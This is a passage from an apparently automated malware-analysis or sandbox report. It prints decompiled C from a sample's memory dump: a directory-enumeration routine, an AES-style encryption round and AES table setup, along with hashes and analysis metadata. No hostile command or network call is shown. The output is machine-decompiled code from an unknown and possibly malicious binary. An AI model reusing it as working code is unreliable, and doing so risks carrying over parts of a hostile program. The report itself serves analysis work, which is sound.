								_t170 = _v8;
							}
							E6EF5FEFF(0);
							_t122 = _t170;
							goto L4;
						}
					} else {
						_push(_t160);
						_t124 = E6EF64A43(_t167, _t127, _a8);
						_t175 = _t174 + 0x10;
						__eflags = _t124;
						if(_t124 != 0) {
							L12:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E6EF600F7();
							asm("int3");
							_t173 = _t175;
							_t176 = _t175 - 0x298;
							_t75 =  *0x6ef8609c; // 0x1c6423b5
							_v48 = _t75 ^ _t173;
							_t139 = _v32;
							_t157 = _v28;
							_push(_t127);
							_push(0);
							_t162 = _v36;
							_v648 = _t157;
							__eflags = _t139 - _t162;
							if(_t139 != _t162) {
								while(1) {
									_t117 =  *_t139;
									__eflags = _t117 - 0x2f;
									if(_t117 == 0x2f) {
										break;
									}
									__eflags = _t117 - 0x5c;
									if(_t117 != 0x5c) {
										__eflags = _t117 - 0x3a;
										if(_t117 != 0x3a) {
											_t139 = E6EF64A90(_t162, _t139);
											__eflags = _t139 - _t162;
											if(_t139 != _t162) {
												continue;
											}
										}
									}
									break;
								}
								_t157 = _v612;
							}
							_t77 =  *_t139;
							_v605 = _t77;
							__eflags = _t77 - 0x3a;
							if(_t77 != 0x3a) {
								L23:
								_t128 = 0;
								__eflags = _t77 - 0x2f;
								if(__eflags == 0) {
									L26:
									_t78 = 1;
								} else {
									__eflags = _t77 - 0x5c;
									if(__eflags == 0) {
										goto L26;
									} else {
										__eflags = _t77 - 0x3a;
										_t78 = 0;
										if(__eflags == 0) {
											goto L26;
										}
									}
								}
								_v672 = _t128;
								_v668 = _t128;
								_push(_t167);
								asm("sbb eax, eax");
								_v664 = _t128;
								_v660 = _t128;
								_v640 =  ~(_t78 & 0x000000ff) & _t139 - _t162 + 0x00000001;
								_v656 = _t128;
								_v652 = _t128;
								_t84 = E6EF6167A(_t139 - _t162 + 1, _t162,  &_v672, E6EF61B96(_t157, __eflags));
								_t177 = _t176 + 0xc;
								asm("sbb eax, eax");
								_t168 = FindFirstFileExW( !( ~_t84) & _v664, _t128,  &_v604, _t128, _t128, _t128);
								__eflags = _t168 - 0xffffffff;
								if(_t168 != 0xffffffff) {
									_t144 =  *((intOrPtr*)(_v612 + 4)) -  *_v612;
									__eflags = _t144;
									_t145 = _t144 >> 2;
									_v644 = _t144 >> 2;
									do {
										_v636 = _t128;
										_v632 = _t128;
										_v628 = _t128;
										_v624 = _t128;
										_v620 = _t128;
										_v616 = _t128;
										_t94 = E6EF615AB( &(_v604.cFileName),  &_v636,  &_v605, E6EF61B96(_t157, __eflags));
										_t177 = _t177 + 0x10;
										asm("sbb eax, eax");
										_t97 =  !( ~_t94) & _v628;
										__eflags =  *_t97 - 0x2e;
										if( *_t97 != 0x2e) {
											L34:
											_push(_v612);
											_t98 = E6EF6188A(_t128, _t145, _t162, _t168, _t97, _t162, _v640);
											_t177 = _t177 + 0x10;
											_v648 = _t98;
											__eflags = _t98;
											if(_t98 != 0) {
												__eflags = _v616 - _t128;
												if(_v616 != _t128) {
													E6EF5FEFF(_v628);
													_t98 = _v648;
												}
												_t128 = _t98;
											} else {
												goto L35;
											}
										} else {
											_t145 =  *((intOrPtr*)(_t97 + 1));
											__eflags = _t145;
											if(_t145 == 0) {
												goto L35;
											} else {
												__eflags = _t145 - 0x2e;
												if(_t145 != 0x2e) {
													goto L34;
												} else {
													__eflags =  *((intOrPtr*)(_t97 + 2)) - _t128;
													if( *((intOrPtr*)(_t97 + 2)) == _t128) {
														goto L35;
													} else {
														goto L34;
													}
												}
											}
										}
										L43:
										FindClose(_t168);
										goto L44;
										L35:
										__eflags = _v616 - _t128;
										if(_v616 != _t128) {
											E6EF5FEFF(_v628);
											_pop(_t145);
										}
										__eflags = FindNextFileW(_t168,  &_v604);
									} while (__eflags != 0);
									_t106 = _v612;
									_t150 = _v644;
									_t158 =  *_t106;
									_t109 =  *((intOrPtr*)(_t106 + 4)) -  *_t106 >> 2;
									__eflags = _t150 - _t109;
									if(_t150 != _t109) {
										E6EF5EB90(_t128, _t162, _t168, _t158 + _t150 * 4, _t109 - _t150, 4, E6EF614E1);
									}
									goto L43;
								} else {
									_push(_v612);
									_t128 = E6EF6188A(_t128,  &_v604, _t162, _t168, _t162, _t128, _t128);
								}
								L44:
								__eflags = _v652;
								if(_v652 != 0) {
									E6EF5FEFF(_v664);
								}
							} else {
								__eflags = _t139 - _t162 + 1;
								if(_t139 == _t162 + 1) {
									_t77 = _v605;
									goto L23;
								} else {
									_push(_t157);
									E6EF6188A(0, _t139, _t162, _t167, _t162, 0, 0);
								}
							}
							__eflags = _v12 ^ _t173;
							return E6EF5C65E(_v12 ^ _t173);
						} else {
							goto L7;
						}
					}
				} else {
					_t122 = 0xc;
					L4:
					return _t122;
				}
			}

0x6ef6188f
0x6ef61890
0x6ef61893
0x6ef61893
0x6ef61896
0x6ef61896
0x6ef61898
0x6ef61899
0x6ef6189d
0x6ef6189e
0x6ef618a5
0x6ef618a8
0x6ef618ad
0x6ef618b7
0x6ef618b8
0x6ef618b9
0x6ef618bc
0x6ef618c6
0x6ef618ca
0x6ef618cc
0x6ef618e0
0x6ef618e0
0x6ef618e3
0x6ef618ed
0x6ef618f2
0x6ef618f5
0x6ef618f7
0x00000000
0x6ef618f9
0x6ef618f9
0x6ef618fe
0x6ef61905
0x6ef61908
0x6ef6190a
0x6ef6191b
0x6ef6191d
0x6ef6191f
0x6ef6191f
0x6ef6191f
0x6ef6190c
0x6ef6190d
0x6ef61912
0x6ef61915
0x6ef61924
0x6ef6192a
0x00000000
0x6ef6192d
0x6ef618ce
0x6ef618ce
0x6ef618d4
0x6ef618d9
0x6ef618dc
0x6ef618de
0x6ef61930
0x6ef61932
0x6ef61933
0x6ef61934
0x6ef61935
0x6ef61936
0x6ef61937
0x6ef6193c
0x6ef61940
0x6ef61942
0x6ef61948
0x6ef6194f
0x6ef61952
0x6ef61955
0x6ef61958
0x6ef61959
0x6ef6195a
0x6ef6195d
0x6ef61963
0x6ef61965
0x6ef61967
0x6ef61967
0x6ef61969
0x6ef6196b
0x00000000
0x00000000
0x6ef6196d
0x6ef6196f
0x6ef61971
0x6ef61973
0x6ef6197e
0x6ef61980
0x6ef61982
0x00000000
0x00000000
0x6ef61982
0x6ef61973
0x00000000
0x6ef6196f
0x6ef61984
0x6ef61984
0x6ef6198a
0x6ef6198c
0x6ef61992
0x6ef61994
0x6ef619b6
0x6ef619b6
0x6ef619b8
0x6ef619ba
0x6ef619c6
0x6ef619c6
0x6ef619bc
0x6ef619bc
0x6ef619be
0x00000000
0x6ef619c0
0x6ef619c0
0x6ef619c2
0x6ef619c4
0x00000000
0x00000000
0x6ef619c4
0x6ef619be
0x6ef619ce
0x6ef619d6
0x6ef619dc
0x6ef619dd
0x6ef619df
0x6ef619e7
0x6ef619ed
0x6ef619f3
0x6ef619f9
0x6ef61a0d
0x6ef61a12
0x6ef61a1d
0x6ef61a33
0x6ef61a35
0x6ef61a38
0x6ef61a5b
0x6ef61a5b
0x6ef61a5d
0x6ef61a60
0x6ef61a66
0x6ef61a66
0x6ef61a6c
0x6ef61a72
0x6ef61a78
0x6ef61a7e
0x6ef61a84
0x6ef61aa5
0x6ef61aaa
0x6ef61aaf
0x6ef61ab3
0x6ef61ab9
0x6ef61abc
0x6ef61acf
0x6ef61acf
0x6ef61add
0x6ef61ae2
0x6ef61ae5
0x6ef61aeb
0x6ef61aed
0x6ef61b4b
0x6ef61b51
0x6ef61b59
0x6ef61b5e
0x6ef61b64
0x6ef61b65
0x00000000
0x00000000
0x00000000
0x6ef61abe
0x6ef61abe
0x6ef61ac1
0x6ef61ac3
0x00000000
0x6ef61ac5
0x6ef61ac5
0x6ef61ac8
0x00000000
0x6ef61aca
0x6ef61aca
0x6ef61acd
0x00000000
0x00000000
0x00000000
0x00000000
0x6ef61acd
0x6ef61ac8
0x6ef61ac3
0x6ef61b67
0x6ef61b68
0x00000000
0x6ef61aef
0x6ef61aef
0x6ef61af5
0x6ef61afd
0x6ef61b02
0x6ef61b02
0x6ef61b11
0x6ef61b11
0x6ef61b19
0x6ef61b1f
0x6ef61b25
0x6ef61b2c
0x6ef61b2f
0x6ef61b31
0x6ef61b41
0x6ef61b46
0x00000000
0x6ef61a3a
0x6ef61a3a
0x6ef61a4b
0x6ef61a4b
0x6ef61b6e
0x6ef61b6e
0x6ef61b76
0x6ef61b7e
0x6ef61b83
0x6ef61996
0x6ef61999
0x6ef6199b
0x6ef619b0
0x00000000
0x6ef6199d
0x6ef6199d
0x6ef619a3
0x6ef619a8
0x6ef6199b
0x6ef61b8a
0x6ef61b95
0x00000000
0x00000000
0x00000000
0x6ef618de
0x6ef618af
0x6ef618b1
0x6ef618b2
0x6ef618b6
0x6ef618b6

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40c30e3b29ba8edd859b845aac39955413b661862fa4c93caf7a7e734f4ef971
Instruction ID: c0edac111ca4fee4fcc6008c224b264b0b7bf46c98c47d758f4334c142d24874
Opcode Fuzzy Hash: 40c30e3b29ba8edd859b845aac39955413b661862fa4c93caf7a7e734f4ef971
Instruction Fuzzy Hash: A241B271C04219AFDB50DFB8CCA8AEABBB9AF45304F1446D9E45DD3240EA319E848F50

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5B2B0, Relevance: .4, Instructions: 403
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E6EF5B2B0(signed int* __ecx, signed char* __edx, unsigned int* _a4) {
				unsigned int _v8;
				unsigned int _v12;
				signed int _v16;
				unsigned int _v20;
				unsigned int _v24;
				signed int _v28;
				unsigned int _v32;
				unsigned int _v36;
				signed int* _t261;
				signed int* _t262;
				unsigned int _t263;
				unsigned int _t269;
				unsigned int _t291;
				unsigned int _t296;
				unsigned int _t310;
				unsigned int _t312;
				signed char _t318;
				unsigned int _t340;
				unsigned int* _t427;
				unsigned int _t496;
				unsigned int _t500;
				unsigned int _t514;
				unsigned int _t521;
				unsigned int _t529;
				unsigned int _t537;
				unsigned int _t568;
				unsigned int _t573;
				unsigned int _t589;
				signed int _t591;
				signed int _t593;

				_t261 = __ecx[1];
				_v8 = (__edx[7] & 0x000000ff) << 8;
				_v8 = _v8 | __edx[6] & 0x000000ff;
				_v8 = _v8 << 8;
				_v8 = _v8 | __edx[5] & 0x000000ff;
				_v8 = _v8 << 8;
				_v8 = _v8 | __edx[4] & 0x000000ff;
				_v8 = _v8 ^ _t261[1];
				_v16 = (__edx[0xb] & 0x000000ff) << 8;
				_t291 = ((((__edx[3] & 0x000000ff) << 0x00000008 | __edx[2] & 0x000000ff) << 0x00000008 | __edx[1] & 0x000000ff) << 0x00000008 |  *__edx & 0x000000ff) ^  *_t261;
				_v20 = _t291;
				_t589 = (((_v16 | __edx[0xa] & 0x000000ff) << 0x00000008 | __edx[9] & 0x000000ff) << 0x00000008 | __edx[8] & 0x000000ff) ^ _t261[2];
				_v12 = (__edx[0xf] & 0x000000ff) << 8;
				_v12 = _v12 | __edx[0xe] & 0x000000ff;
				_v12 = _v12 << 8;
				_v12 = _v12 | __edx[0xd] & 0x000000ff;
				_v12 = _v12 << 8;
				_v16 = _t589;
				_t500 = (_v12 | __edx[0xc] & 0x000000ff) ^ _t261[3];
				_t262 =  &(_t261[4]);
				_t340 = ( *__ecx >> 1) - 1;
				_v12 = _t500;
				_v36 = _t340;
				if(_t340 > 0) {
					do {
						_v24 =  *(0x6ef9f690 + (_t500 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6efa0690 + (_t589 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6ef9e968 + (_v8 >> 0x18) * 4) ^  *(0x6ef9fa90 + (_t291 & 0x000000ff) * 4) ^  *_t262;
						_v28 =  *(0x6efa0690 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6ef9f690 + (_t291 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6ef9e968 + (_v16 >> 0x18) * 4) ^  *(0x6ef9fa90 + (_v8 & 0x000000ff) * 4) ^ _t262[1];
						_t312 = _v16;
						_v32 =  *(0x6ef9f690 + (_v8 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6efa0690 + (_t291 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6ef9e968 + (_v12 >> 0x18) * 4) ^  *(0x6ef9fa90 + (_t312 & 0x000000ff) * 4) ^ _t262[2];
						_t318 =  *(0x6ef9f690 + (_t312 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6efa0690 + (_v8 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6ef9e968 + (_v20 >> 0x18) * 4) ^  *(0x6ef9fa90 + (_v12 & 0x000000ff) * 4) ^ _t262[3];
						_v20 =  *(0x6ef9f690 + (_t318 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6efa0690 + (_v32 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6ef9e968 + (_v28 >> 0x18) * 4) ^  *(0x6ef9fa90 + (_v24 & 0x000000ff) * 4) ^ _t262[4];
						_v8 =  *(0x6efa0690 + (_t318 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6ef9f690 + (_v24 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6ef9e968 + (_v32 >> 0x18) * 4);
						_t568 = _v28;
						_t591 = _v8 ^  *(0x6ef9fa90 + (_t568 & 0x000000ff) * 4);
						_v8 = _t591;
						_v8 = _t591 ^ _t262[5];
						_v16 =  *(0x6ef9f690 + (_t568 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6efa0690 + (_v24 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6ef9e968 + (_t318 >> 0x18) * 4);
						_t573 = _v32;
						_t593 = _v16 ^  *(0x6ef9fa90 + (_t573 & 0x000000ff) * 4);
						_v16 = _t593;
						_v16 = _t593 ^ _t262[6];
						_t589 = _v16;
						_t291 = _v20;
						_t500 =  *(0x6ef9f690 + (_t573 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6efa0690 + (_v28 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6ef9e968 + (_v24 >> 0x18) * 4) ^  *(0x6ef9fa90 + (_t318 & 0x000000ff) * 4) ^ _t262[7];
						_t496 = _v36 - 1;
						_t262 =  &(_t262[8]);
						_v12 = _t500;
						_v36 = _t496;
					} while (_t496 > 0);
				}
				_v24 =  *(0x6ef9f690 + (_t500 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6efa0690 + (_t589 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6ef9e968 + (_v8 >> 0x18) * 4) ^  *(0x6ef9fa90 + (_t291 & 0x000000ff) * 4) ^  *_t262;
				_v28 =  *(0x6efa0690 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6ef9f690 + (_t291 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6ef9e968 + (_t589 >> 0x18) * 4) ^  *(0x6ef9fa90 + (_v8 & 0x000000ff) * 4) ^ _t262[1];
				_t514 = _v16;
				_t296 =  *(0x6ef9f690 + (_v8 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6efa0690 + (_t291 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6ef9e968 + (_v12 >> 0x18) * 4) ^  *(0x6ef9fa90 + (_t514 & 0x000000ff) * 4) ^ _t262[2];
				_v16 = _t296;
				_t521 =  *(0x6ef9f690 + (_t514 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x6efa0690 + (_v8 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x6ef9e968 + (_v20 >> 0x18) * 4) ^  *(0x6ef9fa90 + (_v12 & 0x000000ff) * 4) ^ _t262[3];
				_v36 = _t521;
				_v20 = (( *((_t296 >> 0x00000010 & 0x000000ff) + 0x6ef9ed68) & 0x000000ff ^ ( *((_v28 >> 0x18) + 0x6ef9ed68) & 0x000000ff) << 0x00000008) << 0x00000008 ^  *((_t521 >> 0x00000008 & 0x000000ff) + 0x6ef9ed68) & 0x000000ff) << 0x00000008 ^  *((_v24 & 0x000000ff) + 0x6ef9ed68) & 0x000000ff ^ _t262[4];
				_v12 = (( *((_t521 >> 0x00000010 & 0x000000ff) + 0x6ef9ed68) & 0x000000ff ^ ( *((_v16 >> 0x18) + 0x6ef9ed68) & 0x000000ff) << 0x00000008) << 0x00000008 ^  *((_v24 >> 0x00000008 & 0x000000ff) + 0x6ef9ed68) & 0x000000ff) << 0x00000008 ^  *((_v28 & 0x000000ff) + 0x6ef9ed68) & 0x000000ff ^ _t262[5];
				_t529 = _v28;
				_t310 = (( *((_v24 >> 0x00000010 & 0x000000ff) + 0x6ef9ed68) & 0x000000ff ^ ( *((_v36 >> 0x18) + 0x6ef9ed68) & 0x000000ff) << 0x00000008) << 0x00000008 ^  *((_t529 >> 0x00000008 & 0x000000ff) + 0x6ef9ed68) & 0x000000ff) << 0x00000008 ^  *((_v16 & 0x000000ff) + 0x6ef9ed68) & 0x000000ff ^ _t262[6];
				_t427 = _a4;
				_t537 = (( *((_t529 >> 0x00000010 & 0x000000ff) + 0x6ef9ed68) & 0x000000ff ^ ( *((_v24 >> 0x18) + 0x6ef9ed68) & 0x000000ff) << 0x00000008) << 0x00000008 ^  *((_v16 >> 0x00000008 & 0x000000ff) + 0x6ef9ed68) & 0x000000ff) << 0x00000008 ^  *((_v36 & 0x000000ff) + 0x6ef9ed68) & 0x000000ff ^ _t262[7];
				_t263 = _v20;
				 *_t427 = _t263;
				_t427[0] = _t263 >> 8;
				_t427[0] = _v20 >> 0x10;
				_t427[0] = _v20 >> 0x18;
				_t269 = _v12;
				_t427[1] = _t269;
				_t427[1] = _t269 >> 8;
				_t427[1] = _v12 >> 0x10;
				_t427[1] = _v12 >> 0x18;
				_t427[2] = _t310 >> 8;
				_t427[2] = _t310 >> 0x10;
				_t427[3] = _t537 >> 8;
				_t427[2] = _t310;
				_t427[3] = _t537;
				_t427[2] = _t310 >> 0x18;
				_t427[3] = _t537 >> 0x10;
				_t427[3] = _t537 >> 0x18;
				return 0;
			}

0x6ef5b2e0
0x6ef5b2e3
0x6ef5b2ea
0x6ef5b2ed
0x6ef5b2f5
0x6ef5b2fc
0x6ef5b300
0x6ef5b309
0x6ef5b313
0x6ef5b31f
0x6ef5b32a
0x6ef5b33a
0x6ef5b340
0x6ef5b347
0x6ef5b34e
0x6ef5b352
0x6ef5b355
0x6ef5b362
0x6ef5b367
0x6ef5b36a
0x6ef5b36f
0x6ef5b370
0x6ef5b373
0x6ef5b378
0x6ef5b380
0x6ef5b3bd
0x6ef5b3fc
0x6ef5b40a
0x6ef5b441
0x6ef5b46f
0x6ef5b4b3
0x6ef5b4dd
0x6ef5b4e0
0x6ef5b4e9
0x6ef5b4f2
0x6ef5b4f8
0x6ef5b526
0x6ef5b529
0x6ef5b538
0x6ef5b541
0x6ef5b54e
0x6ef5b557
0x6ef5b574
0x6ef5b581
0x6ef5b584
0x6ef5b585
0x6ef5b588
0x6ef5b58b
0x6ef5b58e
0x6ef5b380
0x6ef5b5d3
0x6ef5b611
0x6ef5b626
0x6ef5b65a
0x6ef5b660
0x6ef5b686
0x6ef5b68f
0x6ef5b6dc
0x6ef5b72b
0x6ef5b72e
0x6ef5b776
0x6ef5b7b9
0x6ef5b7bc
0x6ef5b7bf
0x6ef5b7c2
0x6ef5b7c7
0x6ef5b7d0
0x6ef5b7d9
0x6ef5b7dc
0x6ef5b7df
0x6ef5b7e5
0x6ef5b7ee
0x6ef5b7f7
0x6ef5b7ff
0x6ef5b807
0x6ef5b80f
0x6ef5b814
0x6ef5b81e
0x6ef5b825
0x6ef5b828
0x6ef5b82d
0x6ef5b834

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce4e3f2f96180bc8ed7e1bca8a936d3dd28741aaa5a241e4dcb196412310f0ef
Instruction ID: f8b4fccaa69ec03b284c3328fbb200f03cf4e3667fef454b975bfffd1f6c97f6
Opcode Fuzzy Hash: ce4e3f2f96180bc8ed7e1bca8a936d3dd28741aaa5a241e4dcb196412310f0ef
Instruction Fuzzy Hash: 5D028170D141649FDB4CCF5AD4F047DFBF2FB8A201B55829ED5826B782C2386652DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EF59F20, Relevance: .2, Instructions: 163
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E6EF59F20() {
				signed int _v8;
				signed int _v12;
				intOrPtr _v980;
				intOrPtr _v984;
				intOrPtr _v992;
				intOrPtr _v1000;
				char _v1040;
				signed int _t86;
				unsigned int _t90;
				char _t97;
				signed int _t102;
				signed int _t108;
				signed int _t122;
				signed int _t125;
				signed int _t126;
				signed int _t127;
				signed int _t163;
				signed int _t164;
				intOrPtr _t165;
				signed int _t167;
				signed int* _t168;
				signed int _t175;
				signed int _t176;
				signed int _t177;
				signed int _t178;
				void* _t179;

				_t167 = 1;
				_t176 = 0;
				do {
					 *(_t179 + _t176 * 4 - 0x808) = _t167;
					 *(_t179 + _t167 * 4 - 0x408) = _t176;
					asm("sbb ecx, ecx");
					_t176 = _t176 + 1;
					_t167 = ( ~(_t167 & 0x80) & 0x0000001b ^ _t167 + _t167 ^ _t167) & 0x000000ff;
				} while (_t176 < 0x100);
				_t177 = 1;
				_t168 = 0x6ef9ee68;
				do {
					 *_t168 = _t177;
					asm("sbb ecx, ecx");
					_t168 =  &(_t168[1]);
					_t177 = ( ~(_t177 & 0x80) & 0x0000001b ^ _t177 + _t177) & 0x000000ff;
				} while (_t168 < 0x6ef9ee90);
				_t86 = 1;
				 *0x6ef9e868 = 0x63;
				 *0x6ef9edcb = 0;
				_v8 = 1;
				do {
					_t122 =  *( &_v1040 - ( *(_t179 + _t86 * 4 - 0x408) << 2));
					_t90 = (_t122 >> 0x00000007 | _t122 + _t122) & 0x000000ff;
					_t125 = _t122 ^ _t90 ^ (_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff ^ ((((((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) >> 0x00000007 | ((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) + _t92) & 0x000000ff) >> 0x00000007 | ((((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) >> 0x00000007 | ((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) + _t92) & 0x000000ff) + ((((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) >> 0x00000007 | ((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) + _t92) & 0x000000ff)) ^ 0x00000063) & 0x000000ff ^ (((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) >> 0x00000007 | ((_t90 >> 0x00000007 | _t90 + _t90) & 0x000000ff) + _t92) & 0x000000ff;
					_t97 = _v8;
					 *(_t97 + 0x6ef9e868) = _t125;
					 *((char*)(_t125 + 0x6ef9ed68)) = _t97;
					_t86 = _t97 + 1;
					_v8 = _t86;
				} while (_t86 < 0x100);
				_t126 = 0xff;
				_t178 = 0;
				_v12 = 0xff;
				do {
					_t21 = _t178 + 0x6ef9e868; // 0x0
					_t170 =  *_t21 & 0x000000ff;
					asm("sbb ecx, ecx");
					_t163 = (((( ~( *_t21 & 0x80) & 0x0000001b ^ _t170 + _t170) & 0x000000ff ^ _t170) << 0x00000008 ^ _t170) << 0x00000008 ^ _t170) << 0x00000008 ^ ( ~( *_t21 & 0x80) & 0x0000001b ^ _t170 + _t170) & 0x000000ff;
					 *(0x6efa0290 + _t178 * 4) = _t163;
					asm("rol ecx, 0x8");
					 *(0x6ef9fe90 + _t178 * 4) = _t163;
					asm("rol ecx, 0x8");
					 *(0x6ef9f290 + _t178 * 4) = _t163;
					asm("rol ecx, 0x8");
					 *(0x6ef9ee90 + _t178 * 4) = _t163;
					_t31 = _t178 + 0x6ef9ed68; // 0x0
					_t164 =  *_t31 & 0x000000ff;
					if(_t164 == 0) {
						_t127 = 0;
						_t175 = 0;
						_v8 = 0;
						_t102 = 0;
					} else {
						_t165 =  *((intOrPtr*)(_t179 + _t164 * 4 - 0x408));
						asm("cdq");
						_t175 =  *(_t179 + (_v980 + _t165) % _t126 * 4 - 0x808);
						asm("cdq");
						_t127 =  *(_t179 + (_v1000 + _t165) % _t126 * 4 - 0x808);
						asm("cdq");
						_v8 =  *((intOrPtr*)(_t179 + (_v984 + _t165) % _v12 * 4 - 0x808));
						asm("cdq");
						_t102 =  *(_t179 + (_v992 + _t165) % 0xff * 4 - 0x808);
					}
					_t126 = 0xff;
					_t108 = ((_t102 << 0x00000008 ^ _v8) << 0x00000008 ^ _t127) << 0x00000008 ^ _t175;
					 *(0x6ef9fa90 + _t178 * 4) = _t108;
					asm("rol eax, 0x8");
					 *(0x6ef9f690 + _t178 * 4) = _t108;
					asm("rol eax, 0x8");
					 *(0x6efa0690 + _t178 * 4) = _t108;
					asm("rol eax, 0x8");
					 *(0x6ef9e968 + _t178 * 4) = _t108;
					_t178 = _t178 + 1;
				} while (_t178 < 0x100);
				return _t108;
			}

0x6ef59f29
0x6ef59f31
0x6ef59f33
0x6ef59f35
0x6ef59f3e
0x6ef59f4d
0x6ef59f4f
0x6ef59f57
0x6ef59f5a
0x6ef59f62
0x6ef59f67
0x6ef59f70
0x6ef59f72
0x6ef59f7e
0x6ef59f80
0x6ef59f88
0x6ef59f8b
0x6ef59f93
0x6ef59f98
0x6ef59f9f
0x6ef59fa6
0x6ef59fb0
0x6ef59fc2
0x6ef59fce
0x6ef59fff
0x6ef5a001
0x6ef5a004
0x6ef5a00a
0x6ef5a010
0x6ef5a011
0x6ef5a014
0x6ef5a01b
0x6ef5a020
0x6ef5a022
0x6ef5a025
0x6ef5a025
0x6ef5a025
0x6ef5a038
0x6ef5a053
0x6ef5a055
0x6ef5a05c
0x6ef5a05f
0x6ef5a066
0x6ef5a069
0x6ef5a070
0x6ef5a073
0x6ef5a07a
0x6ef5a07a
0x6ef5a083
0x6ef5a0df
0x6ef5a0e1
0x6ef5a0e3
0x6ef5a0e6
0x6ef5a085
0x6ef5a085
0x6ef5a094
0x6ef5a09f
0x6ef5a0a6
0x6ef5a0b1
0x6ef5a0b8
0x6ef5a0c3
0x6ef5a0d3
0x6ef5a0d6
0x6ef5a0d6
0x6ef5a0f3
0x6ef5a0fb
0x6ef5a0fd
0x6ef5a104
0x6ef5a107
0x6ef5a10e
0x6ef5a111
0x6ef5a118
0x6ef5a11b
0x6ef5a122
0x6ef5a123
0x6ef5a135

Memory Dump Source

Source File: 00000002.00000002.256113345.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000002.00000002.256095225.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256103349.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000002.00000002.256184489.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256238791.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256251788.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.256286130.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256295361.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de9d61b824b2663a65c2a0a8ca307ed48af5ad37b9b0af77ca523912e79a1d9c
Instruction ID: b9263d0d736db8638b1677f1e23381834a592f19729b804684df41f7a4355217
Opcode Fuzzy Hash: de9d61b824b2663a65c2a0a8ca307ed48af5ad37b9b0af77ca523912e79a1d9c
Instruction Fuzzy Hash: 6651F371B102248BDB5CCF6CC8A13ADBBE1FB8A204F54417EE6C7D7381D6389A558B90

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5B080, Relevance: .1, Instructions: 145
COMMONCrypto

Download Yara Rule

C-Code - Quality: 68%

			E6EF5B080(void* __ebx, signed int* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _v12;
				intOrPtr _v292;
				signed int _v296;
				intOrPtr _v300;
				signed int _t81;
				intOrPtr _t85;
				intOrPtr* _t87;
				signed int* _t143;
				signed char _t146;
				signed int _t151;
				intOrPtr* _t153;
				signed char* _t154;
				signed int _t178;
				signed int* _t179;
				void* _t181;
				void* _t183;
				signed int _t184;

				_t81 =  *0x6ef8609c; // 0x1c6423b5
				_v12 = _t81 ^ _t184;
				_t181 = __edx;
				_t143 = __ecx;
